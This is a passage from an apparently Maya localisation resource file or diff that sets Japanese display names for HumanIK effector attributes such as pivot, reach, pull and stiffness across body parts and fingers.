"左手首のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftWristEffectorStiffness", "左手首のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorGX", "右手首のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPivot", "右手首のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPivotX", "右手首のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPivotY", "右手首のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPivotZ", "右手首のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorReachT", "右手首のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorReachR", "右手首のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorPull", "右手首のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightWristEffectorStiffness", "右手首のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorGX", "左膝のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPivot", "左膝のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPivotX", "左膝のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPivotY", "左膝のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPivotZ", "左膝のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorReachT", "左膝のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorReachR", "左膝のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorPull", "左膝のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftKneeEffectorStiffness", "左膝のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorGX", "右膝のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPivot", "右膝のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPivotX", "右膝のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPivotY", "右膝のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPivotZ", "右膝のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorReachT", "右膝のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorReachR", "右膝のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorPull", "右膝のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightKneeEffectorStiffness", "右膝のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorGX", "左肘のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPivot", "左肘のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPivotX", "左肘のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPivotY", "左肘のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPivotZ", "左肘のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorReachT", "左肘のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorReachR", "左肘のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorPull", "左肘のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftElbowEffectorStiffness", "左肘のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorGX", "右肘のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPivot", "右肘のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPivotX", "右肘のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPivotY", "右肘のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPivotZ", "右肘のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorReachT", "右肘のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorReachR", "右肘のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorPull", "右肘のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightElbowEffectorStiffness", "右肘のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorGX", "胸の原点エフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPivot", "胸の原点エフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPivotX", "胸の原点エフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPivotY", "胸の原点エフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPivotZ", "胸の原点エフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorReachT", "胸の原点エフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorReachR", "胸の原点エフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorPull", "胸の原点エフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestOriginEffectorStiffness", "胸の原点エフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorGX", "胸のエンド エフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPivot", "胸のエンド エフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPivotX", "胸のエンド エフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPivotY", "胸のエンド エフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPivotZ", "胸のエンド エフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorReachT", "胸のエンド エフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorReachR", "胸のエンド エフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorPull", "胸のエンド エフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "ChestEndEffectorStiffness", "胸のエンド エフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorGX", "左足のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorPivot", "左足のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorPivotX", "左足のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorPivotY", "左足のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorPivotZ", "左足のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorReachT", "左足のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorReachR", "左足のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorPull", "左足のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootEffectorStiffness", "左足のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorGX", "右足のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPivot", "右足のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPivotX", "右足のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPivotY", "右足のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPivotZ", "右足のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorReachT", "右足のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorReachR", "右足のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorPull", "右足のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightFootEffectorStiffness", "右足のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorGX", "左肩のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPivot", "左肩のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPivotX", "左肩のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPivotY", "左肩のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPivotZ", "左肩のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorReachT", "左肩のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorReachR", "左肩のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorPull", "左肩のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftShoulderEffectorStiffness", "左肩のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorGX", "右肩のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPivot", "右肩のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPivotX", "右肩のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPivotY", "右肩のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPivotZ", "右肩のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorReachT", "右肩のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorReachR", "右肩のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorPull", "右肩のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightShoulderEffectorStiffness", "右肩のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorGX", "頭のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPivot", "頭のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPivotX", "頭のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPivotY", "頭のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPivotZ", "頭のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorReachT", "頭のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorReachR", "頭のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorPull", "頭のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "HeadEffectorStiffness", "頭のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorGX", "左ヒップのエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPivot", "左ヒップのエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPivotX", "左ヒップのエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPivotY", "左ヒップのエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPivotZ", "左ヒップのエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorReachT", "左ヒップのエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorReachR", "左ヒップのエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorPull", "左ヒップのエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHipEffectorStiffness", "左ヒップのエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorGX", "右ヒップのエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPivot", "右ヒップのエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPivotX", "右ヒップのエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPivotY", "右ヒップのエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPivotZ", "右ヒップのエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorReachT", "右ヒップのエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorReachR", "右ヒップのエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorPull", "右ヒップのエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHipEffectorStiffness", "右ヒップのエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorGX", "左手のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPivot", "左手のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPivotX", "左手のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPivotY", "左手のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPivotZ", "左手のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorReachT", "左手のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorReachR", "左手のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorPull", "左手のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandEffectorStiffness", "左手のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorGX", "右手のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPivot", "右手のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPivotX", "右手のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPivotY", "右手のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPivotZ", "右手のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorReachT", "右手のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorReachR", "右手のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorPull", "右手のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandEffectorStiffness", "右手のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorGX", "左手親指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPivot", "左手親指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPivotX", "左手親指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPivotY", "左手親指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPivotZ", "左手親指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorReachT", "左手親指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorReachR", "左手親指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorPull", "左手親指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandThumbEffectorStiffness", "左手親指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorGX", "左手人差指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPivot", "左手人差指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPivotX", "左手人差指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPivotY", "左手人差指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPivotZ", "左手人差指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorReachT", "左手人差指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorReachR", "左手人差指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorPull", "左手人差指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandIndexEffectorStiffness", "左手人差指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorGX", "左手中指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPivot", "左手中指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPivotX", "左手中指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPivotY", "左手中指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPivotZ", "左手中指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorReachT", "左手中指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorReachR", "左手中指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorPull", "左手中指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandMiddleEffectorStiffness", "左手中指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorGX", "左手薬指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPivot", "左手薬指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPivotX", "左手薬指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPivotY", "左手薬指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPivotZ", "左手薬指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorReachT", "左手薬指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorReachR", "左手薬指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorPull", "左手薬指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandRingEffectorStiffness", "左手薬指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorGX", "左手小指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPivot", "左手小指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPivotX", "左手小指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPivotY", "左手小指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPivotZ", "左手小指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorReachT", "左手小指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorReachR", "左手小指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorPull", "左手小指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandPinkyEffectorStiffness", "左手小指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorGX", "左手追加指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPivot", "左手追加指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPivotX", "左手追加指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPivotY", "左手追加指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPivotZ", "左手追加指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorReachT", "左手追加指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorReachR", "左手追加指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorPull", "左手追加指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftHandExtraFingerEffectorStiffness", "左手追加指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorGX", "右手親指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPivot", "右手親指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPivotX", "右手親指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPivotY", "右手親指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPivotZ", "右手親指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorReachT", "右手親指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorReachR", "右手親指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorPull", "右手親指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandThumbEffectorStiffness", "右手親指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorGX", "右手人差指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPivot", "右手人差指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPivotX", "右手人差指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPivotY", "右手人差指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPivotZ", "右手人差指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorReachT", "右手人差指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorReachR", "右手人差指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorPull", "右手人差指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandIndexEffectorStiffness", "右手人差指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorGX", "右手中指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPivot", "右手中指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPivotX", "右手中指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPivotY", "右手中指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPivotZ", "右手中指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorReachT", "右手中指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorReachR", "右手中指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorPull", "右手中指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandMiddleEffectorStiffness", "右手中指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorGX", "右手薬指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPivot", "右手薬指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPivotX", "右手薬指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPivotY", "右手薬指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPivotZ", "右手薬指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorReachT", "右手薬指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorReachR", "右手薬指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorPull", "右手薬指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandRingEffectorStiffness", "右手薬指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorGX", "右手小指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPivot", "右手小指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPivotX", "右手小指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPivotY", "右手小指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPivotZ", "右手小指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorReachT", "右手小指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorReachR", "右手小指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorPull", "右手小指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandPinkyEffectorStiffness", "右手小指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorGX", "右手追加指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPivot", "右手追加指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPivotX", "右手追加指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPivotY", "右手追加指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPivotZ", "右手追加指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorReachT", "右手追加指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorReachR", "右手追加指のエフェクタの達成度 R" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorPull", "右手追加指のエフェクタの引き寄せ" ); +setAttrNiceNameResource( "HIKEffector2State", "RightHandExtraFingerEffectorStiffness", "右手追加指のエフェクタの固さ" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorGX", "左足親指のエフェクタの GX" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPivot", "左足親指のエフェクタのピボット" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPivotX", "左足親指のエフェクタのピボット X" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPivotY", "左足親指のエフェクタのピボット Y" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorPivotZ", "左足親指のエフェクタのピボット Z" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorReachT", "左足親指のエフェクタの達成度 T" ); +setAttrNiceNameResource( "HIKEffector2State", "LeftFootThumbEffectorReachR", 